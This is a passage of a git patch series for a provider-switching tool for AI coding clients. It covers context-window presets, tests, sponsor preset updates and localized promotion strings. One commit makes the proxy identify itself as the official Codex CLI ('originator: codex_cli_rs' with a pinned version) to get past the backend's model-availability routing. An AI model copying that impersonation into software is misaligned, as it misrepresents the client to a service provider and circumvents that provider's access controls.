"CLAUDE_CODE_AUTO_COMPACT_WINDOW": "250000" + } + }), + None, + ); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + effective["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("300000") + ); + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("250000") + ); + } + + #[test] + fn kimi_for_coding_backfill_strips_only_injected_context_default() { + let db = Database::memory().expect("create memory db"); + let provider = Provider::with_id( + "kimi-for-coding".to_string(), + "Kimi For Coding".to_string(), + json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://api.kimi.com/coding/", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "262144" + } + }), + None, + ); + + let live = build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + let backfilled = + strip_common_config_from_live_settings(&db, &AppType::Claude, &provider, live); + assert!(backfilled["env"] + .get("CLAUDE_CODE_MAX_CONTEXT_TOKENS") + .is_none()); + assert_eq!( + backfilled["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("262144") + ); + } + #[test] fn codex_oauth_effective_settings_backfill_gpt_context_defaults() { let db = Database::memory().expect("create memory db"); diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 799fa6947..7d63e7feb 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -486,10 +486,23 @@ export const providerPresets: ProviderPreset[] = [ env: { ANTHROPIC_BASE_URL: "https://api.kimi.com/coding/", ANTHROPIC_AUTH_TOKEN: "", + // CLAUDE_CODE_MAX_CONTEXT_TOKENS 只对非 claude- 前缀模型 id 生效, + // 必须显式路由端点别名 kimi-for-coding(与 codex/hermes/opencode 预设一致) + ANTHROPIC_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_HAIKU_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_SONNET_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_OPUS_MODEL: "kimi-for-coding", + CLAUDE_CODE_MAX_CONTEXT_TOKENS: "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", CLAUDE_CODE_AUTO_COMPACT_WINDOW: "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", }, }, templateValues: { + CLAUDE_CODE_MAX_CONTEXT_TOKENS: { + label: "Max Context Tokens", + placeholder: "262144", + defaultValue: "262144", + editorValue: "262144", + }, CLAUDE_CODE_AUTO_COMPACT_WINDOW: { label: "Auto Compact Window", placeholder: "262144", diff --git a/tests/config/claudeProviderPresets.test.ts b/tests/config/claudeProviderPresets.test.ts index d0b31e683..2eb738313 100644 --- a/tests/config/claudeProviderPresets.test.ts +++ b/tests/config/claudeProviderPresets.test.ts @@ -11,21 +11,50 @@ describe("Kimi For Coding Provider Preset", () => { expect(kimiForCoding).toBeDefined(); }); - it("should use template placeholder for Claude Code auto-compact window", () => { + // CLAUDE_CODE_MAX_CONTEXT_TOKENS is ignored for claude-* model ids, so the + // preset must route the endpoint's own alias for the context envs to bite + it("should route the kimi-for-coding model id on every tier", () => { const env = (kimiForCoding!.settingsConfig as any).env; + expect(env).toMatchObject({ + ANTHROPIC_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_HAIKU_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_SONNET_MODEL: "kimi-for-coding", + ANTHROPIC_DEFAULT_OPUS_MODEL: "kimi-for-coding", + }); + }); + + it("should use matching context and auto-compact placeholders", () => { + const env = (kimiForCoding!.settingsConfig as any).env; + expect(env).toHaveProperty( + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", + ); expect(env).toHaveProperty( "CLAUDE_CODE_AUTO_COMPACT_WINDOW", "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", ); }); - it("should expose auto-compact window as editable template value with Kimi default", () => { - const values = (kimiForCoding!.templateValues as any) - ?.CLAUDE_CODE_AUTO_COMPACT_WINDOW; - expect(values).toBeDefined(); - expect(values.defaultValue).toBe("262144"); - expect(values.editorValue).toBe("262144"); - expect(values.label).toBe("Auto Compact Window"); + it("should expose matching 256K context and auto-compact values", () => { + const values = kimiForCoding!.templateValues as any; + expect(values?.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toMatchObject({ + defaultValue: "262144", + editorValue: "262144", + }); + expect(values?.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toMatchObject({ + defaultValue: "262144", + editorValue: "262144", + label: "Auto Compact Window", + }); + }); + + it("should resolve both Kimi context placeholders", () => { + const config = applyTemplateValues( + kimiForCoding!.settingsConfig, + kimiForCoding!.templateValues, + ) as any; + expect(config.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("262144"); + expect(config.env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("262144"); }); }); From 99573d2242108d9b188ea8ee71affed9e0809023 Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 10:28:47 +0800 Subject: [PATCH 65/73] refactor(presets): pin context window values instead of form fields Drop the Max Context Tokens / Auto Compact Window template inputs from the Codex and Kimi For Coding presets and hardcode the values in the preset env (372000 / 262144). The rare user who wants different numbers can edit them directly in the JSON editor. Both keys stay on purpose: the compact window resolves as min(model window, value), so matching the window is behavior-neutral today, but the explicit env pins compaction locally against remote-config experiments dialing it down. --- src/config/claudeProviderPresets.ts | 45 +++----------- tests/config/claudeProviderPresets.test.ts | 72 +++------------------- 2 files changed, 20 insertions(+), 97 deletions(-) diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 7d63e7feb..4043495f0 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -492,22 +492,10 @@ export const providerPresets: ProviderPreset[] = [ ANTHROPIC_DEFAULT_HAIKU_MODEL: "kimi-for-coding", ANTHROPIC_DEFAULT_SONNET_MODEL: "kimi-for-coding", ANTHROPIC_DEFAULT_OPUS_MODEL: "kimi-for-coding", - CLAUDE_CODE_MAX_CONTEXT_TOKENS: "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", - CLAUDE_CODE_AUTO_COMPACT_WINDOW: "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", - }, - }, - templateValues: { - CLAUDE_CODE_MAX_CONTEXT_TOKENS: { - label: "Max Context Tokens", - placeholder: "262144", - defaultValue: "262144", - editorValue: "262144", - }, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: { - label: "Auto Compact Window", - placeholder: "262144", - defaultValue: "262144", - editorValue: "262144", + // 双键钉 256K:压缩窗口=min(模型窗口,值),与窗口同值时行为等价于不设, + // 但显式钉住可屏蔽远程实验下发的更小压缩点;调整直接改 JSON,不出表单字段 + CLAUDE_CODE_MAX_CONTEXT_TOKENS: "262144", + CLAUDE_CODE_AUTO_COMPACT_WINDOW: "262144", }, }, category: "cn_official", @@ -1247,25 +1235,12 @@ export const providerPresets: ProviderPreset[] = [ // Claude Code falls back to a 200K context window for unrecognized // non-Claude model ids. The ChatGPT Codex backend catalogs gpt-5.6 // at a 372K window with a ~353K effective budget (openai/codex#31860), - // not the 1.05M API window. Declare 372K for both knobs: Claude Code's - // built-in output reserve and compact buffer already keep the compact - // trigger below the effective budget. - CLAUDE_CODE_MAX_CONTEXT_TOKENS: "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", - CLAUDE_CODE_AUTO_COMPACT_WINDOW: "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", - }, - }, - templateValues: { - CLAUDE_CODE_MAX_CONTEXT_TOKENS: { - label: "Max Context Tokens", - placeholder: "372000", - defaultValue: "372000", - editorValue: "372000", - }, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: { - label: "Auto Compact Window", - placeholder: "372000", - defaultValue: "372000", - editorValue: "372000", + // not the 1.05M API window. Pin both knobs: the compact window equals + // min(model window, value), so matching the window is behavior-neutral + // today but shields the compact trigger from remote-config experiments. + // Tweak these directly in the JSON editor; no form fields on purpose. + CLAUDE_CODE_MAX_CONTEXT_TOKENS: "372000", + CLAUDE_CODE_AUTO_COMPACT_WINDOW: "372000", }, }, category: "third_party", diff --git a/tests/config/claudeProviderPresets.test.ts b/tests/config/claudeProviderPresets.test.ts index 2eb738313..ba7d7ad5a 100644 --- a/tests/config/claudeProviderPresets.test.ts +++ b/tests/config/claudeProviderPresets.test.ts @@ -1,6 +1,5 @@ import { describe, expect, it } from "vitest"; import { providerPresets } from "@/config/claudeProviderPresets"; -import { applyTemplateValues } from "@/utils/providerConfigUtils"; describe("Kimi For Coding Provider Preset", () => { const kimiForCoding = providerPresets.find( @@ -23,38 +22,12 @@ describe("Kimi For Coding Provider Preset", () => { }); }); - it("should use matching context and auto-compact placeholders", () => { + // 预设直接钉值,不再暴露表单输入框;要调整的用户直接改 JSON 编辑框 + it("should pin the 256K context envs without exposing form fields", () => { const env = (kimiForCoding!.settingsConfig as any).env; - expect(env).toHaveProperty( - "CLAUDE_CODE_MAX_CONTEXT_TOKENS", - "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", - ); - expect(env).toHaveProperty( - "CLAUDE_CODE_AUTO_COMPACT_WINDOW", - "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", - ); - }); - - it("should expose matching 256K context and auto-compact values", () => { - const values = kimiForCoding!.templateValues as any; - expect(values?.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toMatchObject({ - defaultValue: "262144", - editorValue: "262144", - }); - expect(values?.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toMatchObject({ - defaultValue: "262144", - editorValue: "262144", - label: "Auto Compact Window", - }); - }); - - it("should resolve both Kimi context placeholders", () => { - const config = applyTemplateValues( - kimiForCoding!.settingsConfig, - kimiForCoding!.templateValues, - ) as any; - expect(config.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("262144"); - expect(config.env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("262144"); + expect(env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("262144"); + expect(env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("262144"); + expect(kimiForCoding!.templateValues).toBeUndefined(); }); }); @@ -65,37 +38,12 @@ describe("Codex Provider Preset", () => { expect(codex).toBeDefined(); }); - it("should override Claude Code's 200K fallback for GPT models", () => { + // 预设直接钉 Codex 目录的 372K 窗口(openai/codex#31860),不暴露表单输入框 + it("should pin the Codex-catalog 372K window without exposing form fields", () => { const env = (codex!.settingsConfig as any).env; - expect(env).toHaveProperty( - "CLAUDE_CODE_MAX_CONTEXT_TOKENS", - "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", - ); - expect(env).toHaveProperty( - "CLAUDE_CODE_AUTO_COMPACT_WINDOW", - "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", - ); - }); - - it("should expose the Codex-catalog 372K window for both context knobs", () => { - const values = codex!.templateValues as any; - expect(values?.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toMatchObject({ - defaultValue: "372000", - editorValue: "372000", - }); - expect(values?.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toMatchObject({ - defaultValue: "372000", - editorValue: "372000", - }); - }); - - it("should resolve both context placeholders into Claude Code env values", () => { - const config = applyTemplateValues( - codex!.settingsConfig, - codex!.templateValues, - ) as any; - expect(config.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("372000"); - expect(config.env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("372000"); + expect(env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("372000"); + expect(env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("372000"); + expect(codex!.templateValues).toBeUndefined(); }); }); From af58740bcddd6fcf6b832bc2da4ce52d15e782bf Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 11:53:09 +0800 Subject: [PATCH 66/73] fix(proxy): align Codex OAuth client identity ChatGPT's Codex backend routes model availability by the originator and version header pair. Requests identifying as cc-switch without a version were assigned to a cohort where gpt-5.6-luna resolved to an unavailable internal engine, resulting in a misleading 404 Model not found response. Identify takeover requests as codex_cli_rs and send version 0.144.1, satisfying luna's minimal_client_version requirement of 0.144.0. A direct HTTP A/B test confirmed the existing headers returned 404 while the aligned identity completed successfully, so no WebSocket transport workaround is required. --- src-tauri/src/proxy/providers/auth.rs | 2 +- src-tauri/src/proxy/providers/claude.rs | 13 ++++++++++++- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/src-tauri/src/proxy/providers/auth.rs b/src-tauri/src/proxy/providers/auth.rs index 6bd9a02a5..04242eb25 100644 --- a/src-tauri/src/proxy/providers/auth.rs +++ b/src-tauri/src/proxy/providers/auth.rs @@ -124,7 +124,7 @@ pub enum AuthStrategy { /// /// - Header: `Authorization: Bearer ` /// - Header: `ChatGPT-Account-Id: ` (来自 forwarder 注入) - /// - Header: `originator: cc-switch` + /// - Header: `originator: codex_cli_rs` + `version: `(成对,后端按此做模型 cohort 路由) /// /// 使用动态获取的 OpenAI access_token(通过 Device Code 流程获取) CodexOAuth, diff --git a/src-tauri/src/proxy/providers/claude.rs b/src-tauri/src/proxy/providers/claude.rs index dbaffbb2e..bfde18b6f 100644 --- a/src-tauri/src/proxy/providers/claude.rs +++ b/src-tauri/src/proxy/providers/claude.rs @@ -24,6 +24,13 @@ const ANTHROPIC_REDACTED_THINKING_PLACEHOLDER: &str = "[redacted thinking]"; // Keep hints lowercase; matching lowercases only the input value. const REASONING_VENDOR_HINTS: &[&str] = &["moonshot", "kimi", "deepseek", "mimo", "xiaomimimo"]; +// ChatGPT Codex 后端按 originator+version 组合做模型 cohort 路由:非官方身份会把 +// gpt-5.6-luna 解析到未部署的内部引擎(HTTP 404 Model not found,openai/codex#31967, +// 本机 A/B 实测确认)。两个头必须成对发送,缺一即 404;version 需 ≥ 目标模型 +// catalog 的 minimal_client_version(luna=0.144.0),新模型抬门槛时同步 bump。 +const CODEX_OAUTH_ORIGINATOR: &str = "codex_cli_rs"; +const CODEX_OAUTH_CLIENT_VERSION: &str = "0.144.1"; + /// 获取 Claude 供应商的 API 格式 /// /// 供 handler/forwarder 外部使用的公开函数。 @@ -843,7 +850,11 @@ impl ProviderAdapter for ClaudeAdapter { (HeaderName::from_static("authorization"), hv(&bearer)?), ( HeaderName::from_static("originator"), - HeaderValue::from_static("cc-switch"), + HeaderValue::from_static(CODEX_OAUTH_ORIGINATOR), + ), + ( + HeaderName::from_static("version"), + HeaderValue::from_static(CODEX_OAUTH_CLIENT_VERSION), ), ] } From 618723b42fd0e8bd76ac44448d3a5fccbf1a5ab4 Mon Sep 17 00:00:00 2001 From: Jason Date: Mon, 13 Jul 2026 15:37:05 +0800 Subject: [PATCH 67/73] feat(presets): promote SudoCode to paid sponsor across six clients Replace the legacy sudocode.us provider (a name collision) with the new paid sponsor SudoCode on sudocode.chat, updated in place across six clients: Claude Code, Codex, Claude Desktop, OpenCode, OpenClaw, Hermes. - Switch endpoints to api.sudocode.chat, add isPartner + partnerPromotionKey, and add four-locale partnerPromotion copy - Claude Code / Desktop use direct passthrough (no model mapping) - Codex / OpenCode / OpenClaw / Hermes use gpt-5.6-sol - Remove the Gemini entry (outside sponsor scope) - Replace the provider icon with the new brand PNG --- src/config/claudeDesktopProviderPresets.ts | 11 +++++++---- src/config/claudeProviderPresets.ts | 11 +++++++---- src/config/codexProviderPresets.ts | 18 ++++++++++-------- src/config/geminiProviderPresets.ts | 18 ------------------ src/config/hermesProviderPresets.ts | 15 +++++++++------ src/config/openclawProviderPresets.ts | 15 +++++++++------ src/config/opencodeProviderPresets.ts | 11 +++++++---- src/i18n/locales/en.json | 1 + src/i18n/locales/ja.json | 1 + src/i18n/locales/zh-TW.json | 1 + src/i18n/locales/zh.json | 1 + src/icons/extracted/sudocode.png | Bin 37023 -> 5437 bytes 12 files changed, 53 insertions(+), 50 deletions(-) diff --git a/src/config/claudeDesktopProviderPresets.ts b/src/config/claudeDesktopProviderPresets.ts index b3490f101..d5dbff51a 100644 --- a/src/config/claudeDesktopProviderPresets.ts +++ b/src/config/claudeDesktopProviderPresets.ts @@ -767,14 +767,17 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", category: "third_party", - baseUrl: "https://sudocode.us", + baseUrl: "https://api.sudocode.chat", mode: "direct", apiFormat: "anthropic", modelRoutes: passthroughRoutes(), - endpointCandidates: ["https://sudocode.us", "https://sudocode.run"], + endpointCandidates: ["https://api.sudocode.chat"], + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", }, { diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index 4043495f0..837fbb10f 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -838,17 +838,20 @@ export const providerPresets: ProviderPreset[] = [ }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", settingsConfig: { env: { - ANTHROPIC_BASE_URL: "https://sudocode.us", + ANTHROPIC_BASE_URL: "https://api.sudocode.chat", ANTHROPIC_AUTH_TOKEN: "", API_TIMEOUT_MS: "300000", }, }, - endpointCandidates: ["https://sudocode.us", "https://sudocode.run"], + endpointCandidates: ["https://api.sudocode.chat"], category: "third_party", + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", }, { diff --git a/src/config/codexProviderPresets.ts b/src/config/codexProviderPresets.ts index f116353ce..c498a821b 100644 --- a/src/config/codexProviderPresets.ts +++ b/src/config/codexProviderPresets.ts @@ -1197,24 +1197,26 @@ requires_openai_auth = true`, }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", category: "third_party", auth: generateThirdPartyAuth(""), config: `model_provider = "custom" -model = "gpt-5.5" -review_model = "gpt-5.5" +model = "gpt-5.6-sol" +review_model = "gpt-5.6-sol" model_reasoning_effort = "high" disable_response_storage = true -model_verbosity = "high" [model_providers.custom] -name = "sudocode" -base_url = "https://sudocode.us/v1" +name = "SudoCode" +base_url = "https://api.sudocode.chat/v1" wire_api = "responses" requires_openai_auth = true`, - endpointCandidates: ["https://sudocode.us/v1", "https://sudocode.run/v1"], + endpointCandidates: ["https://api.sudocode.chat/v1"], apiFormat: "openai_responses", + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", }, { diff --git a/src/config/geminiProviderPresets.ts b/src/config/geminiProviderPresets.ts index d8f4fcb6c..ce580260f 100644 --- a/src/config/geminiProviderPresets.ts +++ b/src/config/geminiProviderPresets.ts @@ -210,24 +210,6 @@ export const geminiProviderPresets: GeminiProviderPreset[] = [ endpointCandidates: ["https://apinebula.com"], icon: "apinebula", }, - { - name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", - settingsConfig: { - env: { - GOOGLE_GEMINI_BASE_URL: "https://sudocode.us", - GEMINI_API_KEY: "", - GEMINI_MODEL: "gemini-3.1-flash-lite", - }, - }, - baseURL: "https://sudocode.us", - model: "gemini-3.1-flash-lite", - description: "SudoCode", - category: "third_party", - endpointCandidates: ["https://sudocode.us", "https://sudocode.run"], - icon: "sudocode", - }, { name: "Cubence", websiteUrl: "https://cubence.com", diff --git a/src/config/hermesProviderPresets.ts b/src/config/hermesProviderPresets.ts index 182fbaa93..ce1689b48 100644 --- a/src/config/hermesProviderPresets.ts +++ b/src/config/hermesProviderPresets.ts @@ -1061,24 +1061,27 @@ export const hermesProviderPresets: HermesProviderPreset[] = [ }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", settingsConfig: { name: "sudocode", - base_url: "https://sudocode.us/v1", + base_url: "https://api.sudocode.chat/v1", api_key: "", api_mode: "codex_responses", models: [ { - id: "gpt-5.5", - name: "GPT-5.5", + id: "gpt-5.6-sol", + name: "GPT-5.6 Sol", }, ], }, category: "third_party", + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", suggestedDefaults: { - model: { default: "gpt-5.5", provider: "sudocode" }, + model: { default: "gpt-5.6-sol", provider: "sudocode" }, }, }, { diff --git a/src/config/openclawProviderPresets.ts b/src/config/openclawProviderPresets.ts index bcca861c5..96c46492e 100644 --- a/src/config/openclawProviderPresets.ts +++ b/src/config/openclawProviderPresets.ts @@ -1947,20 +1947,23 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", settingsConfig: { - baseUrl: "https://sudocode.us/v1", + baseUrl: "https://api.sudocode.chat/v1", apiKey: "", api: "openai-responses", models: [ { - id: "gpt-5.5", - name: "GPT-5.5", + id: "gpt-5.6-sol", + name: "GPT-5.6 Sol", }, ], }, category: "third_party", + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", templateValues: { apiKey: { @@ -1971,7 +1974,7 @@ export const openclawProviderPresets: OpenClawProviderPreset[] = [ }, suggestedDefaults: { model: { - primary: "sudocode/gpt-5.5", + primary: "sudocode/gpt-5.6-sol", }, }, }, diff --git a/src/config/opencodeProviderPresets.ts b/src/config/opencodeProviderPresets.ts index bcfe77f8a..fea50e117 100644 --- a/src/config/opencodeProviderPresets.ts +++ b/src/config/opencodeProviderPresets.ts @@ -1620,21 +1620,24 @@ export const opencodeProviderPresets: OpenCodeProviderPreset[] = [ }, { name: "SudoCode", - websiteUrl: "https://sudocode.us", - apiKeyUrl: "https://sudocode.us", + websiteUrl: "https://sudocode.chat", + apiKeyUrl: + "https://sudocode.chat/register?utm_source=ccswitch&utm_medium=partner", settingsConfig: { npm: "@ai-sdk/openai", name: "SudoCode", options: { - baseURL: "https://sudocode.us/v1", + baseURL: "https://api.sudocode.chat/v1", apiKey: "", setCacheKey: true, }, models: { - "gpt-5.5": { name: "GPT-5.5" }, + "gpt-5.6-sol": { name: "GPT-5.6 Sol" }, }, }, category: "third_party", + isPartner: true, + partnerPromotionKey: "sudocode", icon: "sudocode", templateValues: { apiKey: { diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index 47ed23a76..8ddcb7d08 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1005,6 +1005,7 @@ "officialHint": "💡 Official provider uses browser login, no API Key needed", "getApiKey": "Get API Key", "partnerPromotion": { + "sudocode": "With one SudoCode key, Claude Code and Claude Desktop use Claude Opus 4.8, while Codex uses GPT-5.6. Sign up, join QQ group 726213516, and contact the group owner to claim CNY ¥10 in trial credit.", "code0": "code0.ai is an AI coding service platform for developers, supporting Claude Code, Codex, and Gemini. Exclusive for CC Switch users: contact support via the official website to claim free trial credits!", "nekocode": "NekoCode gives developers a stable, efficient, and reliable API relay for Claude, Codex, and other AI models, with transparent pay-as-you-go pricing. Exclusive 10% off for CC Switch users: register via the link above and enter promo code cc-switch at recharge to save 10%!", "packycode": "PackyCode is an official partner of CC Switch. Register using this link and enter \"cc-switch\" promo code during recharge to get 10% off", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index eec5d2f27..5e5494663 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1005,6 +1005,7 @@ "officialHint": "💡 公式プロバイダーはブラウザログインで、API Key は不要です", "getApiKey": "API Key を取得", "partnerPromotion": { + "sudocode": "SudoCode の1つのキーで、Claude Code と Claude Desktop では Claude Opus 4.8、Codex では GPT-5.6 を利用できます。登録後 QQ グループ 726213516 に参加し、管理者へ連絡すると CNY ¥10 のトライアルクレジットを受け取れます。", "code0": "code0.ai は開発者向けの AI コーディングサービスプラットフォームで、Claude Code、Codex、Gemini に対応。CC Switch ユーザー限定特典:公式サイトからサポートに連絡してテストクレジットを受け取れます!", "nekocode": "NekoCode は Claude や Codex などの AI モデルに対応した、安定・高効率で信頼性の高い API 中継サービスを提供します。明瞭な従量課金制。CC Switch ユーザー限定 10%オフ:上のリンクから登録し、チャージ時にクーポンコード cc-switch を入力すると 10%オフ!", "packycode": "PackyCode は CC Switch の公式パートナーです。登録後チャージ時に \"cc-switch\" を入力すると 10% オフ", diff --git a/src/i18n/locales/zh-TW.json b/src/i18n/locales/zh-TW.json index cd9a962ab..513f40e9b 100644 --- a/src/i18n/locales/zh-TW.json +++ b/src/i18n/locales/zh-TW.json @@ -976,6 +976,7 @@ "officialHint": "官方供應商使用瀏覽器登入,無需設定 API Key", "getApiKey": "取得 API Key", "partnerPromotion": { + "sudocode": "SudoCode 讓 Claude Code 與 Claude Desktop 使用 Claude Opus 4.8,Codex 使用 GPT-5.6,一個 Key 統一管理。CC Switch 使用者註冊並加入 QQ 群 726213516,聯絡群主領取人民幣 ¥10 試用額度。", "code0": "code0.ai 是面向開發者的 AI 程式設計服務平台,支援 Claude Code、Codex、Gemini。CC Switch 使用者專屬福利:透過官網聯繫客服即可領取測試額度!", "nekocode": "NekoCode 為開發者提供穩定、高效、可靠的 Claude、Codex 等 AI 模型 API 中轉服務,價格透明、按量計費。CC Switch 使用者專享 9 折:透過上方連結註冊,儲值時輸入優惠碼 cc-switch 即享 9 折優惠!", "packycode": "PackyCode 是 CC Switch 的官方合作夥伴,使用此連結註冊並在儲值時填寫「cc-switch」優惠碼,可以享受 9 折優惠", diff --git a/src/i18n/locales/zh.json b/src/i18n/locales/zh.json index 5feb77c71..0398e58dc 100644 --- a/src/i18n/locales/zh.json +++ b/src/i18n/locales/zh.json @@ -1005,6 +1005,7 @@ "officialHint": "💡 官方供应商使用浏览器登录,无需配置 API Key", "getApiKey": "获取 API Key", "partnerPromotion": { + "sudocode": "SudoCode 让 Claude Code 与 Claude Desktop 接入 Claude Opus 4.8,Codex 接入 GPT-5.6,一个 Key 统一使用。CC Switch 用户注册并加入 QQ 群 726213516,联系群主领取 ¥10 试用额度。", "code0": "code0.ai 是面向开发者的 AI 编程服务平台,支持 Claude Code、Codex、Gemini。CC Switch 用户专属福利:通过官网联系客服即可领取测试额度!", "nekocode": "NekoCode 为开发者提供稳定、高效、可靠的 Claude、Codex 等 AI 模型 API 中转服务,价格透明、按量计费。CC Switch 用户专享 9 折:通过上方链接注册,充值时输入优惠码 cc-switch 即享 9 折优惠!", "packycode": "PackyCode 是 CC Switch 的官方合作伙伴,使用此链接注册并在充值时填写 \"cc-switch\" 优惠码,可以享受9折优惠", diff --git a/src/icons/extracted/sudocode.png b/src/icons/extracted/sudocode.png index cee5fe5c048005c32c314532e00a33aa248dff1d..5225e521cdfe612b0b1d2fea295ba3f9ed1e69ba 100644 GIT binary patch literal 5437 zcmW+)c{mi#8=pO_T}Rfs37dr6Ivp+RDk3CTha(+Cu8?!>x*`%{=M91$!ZL7H{Y6I&8IS-7p)fx9hY&urOgyUIri_5&#C2m`4 z8kep0Qn+cc0=z=S)}tL;EPNKha4mJkr!=FHDz4ntZ6n*!=_eH23*@wB>qiTR*T>L z>>K{MvHC>tupMG`+%;LKdy=+KYHx=z`Vpa~;2R|XyVKiPZz&-#B;GbD!fD?4%?xp5 zQ_2Ww=J0pMo7p)D`70BNA!{HlQ6lgBR)>Qx;-{=i$w{p(ZuBl>V4iiQOYx=mF4zq0 z3_6~f(cpiAXf&b&?6iC>3Mi};n(sVljYT^xBw?aY2|eVKx(6I4D}ziw-Z z>EOhpQ+>5gPCHK}!mtWMZ%o8wHX$zJn5DJ-tB=QF6kW%s;7wd4`ayuHhiL+8*bM&cYdq>djC0*Cu-_Zw*3haN3xDQMpLwZD+u@1kVj?M zsiM1!OF936vD0k*hK@fr^1bm3#&vqauOG|$Tpa@e7I29Jh+tPbm@$Kw8{6)hrhWL% zDP;)rI@@Z43KiI^UQ}}Y)P-nrdFG-l^Ng%4=>Sgyl8%Zm6A9ZA};9 znn8wCJoG>gy-8qhO)5-64!OfD45GX*kvM0a6BOI{&dNZ9N^hj{n`F~OE@M`sF;jVu zd<)IKOSkdi>t)G3H!533Ba);C!Ht?L-*`-pPxF1?!}6SNeR#gDC2QfHdW6+Ml&rF} z)7|O4$8(%D1`@f?)UmA;zE*=KWZq48nE81D^#oAR&Ww)$SDuxfcJb-|EiE1ff-U(> ztd2Bkn}hPYJzyimwf`K3l{inGOOCE2Y&~n88rW^NS)vJP9S@cHd5}kj)Y>Zb1CZz(=9XoY2=M- z)UmZ0L!TS@l8i-XmiI~>v(c7M=z#&y);thY#aBzbV{)`35-BSjx`CL{5HSSxiA3uO z4eESV#F`2%Kk_3~Nc_8<=yeNlsE(z_U`%MtfQ#^3@bSzAB@ZsxR}_{O!CI_jLJ|8l z{U>prdFJ{m8_-bm-Jjx$n;(2XP5-DpdxqfMPiPN^v6Km= zL80^vgAY=)4~2~k(8eb(v@CZ;Xbd(4LQ?TBZ6k4T{2So(2A*SzO;>kUfp3fM8cPD% zUayzonytH;Dv-1ztGQ?K$0F|*D+s^&3g7Gi0iVtd6F6b9@ExJ(Dr5aFa{$L1rkFAQ 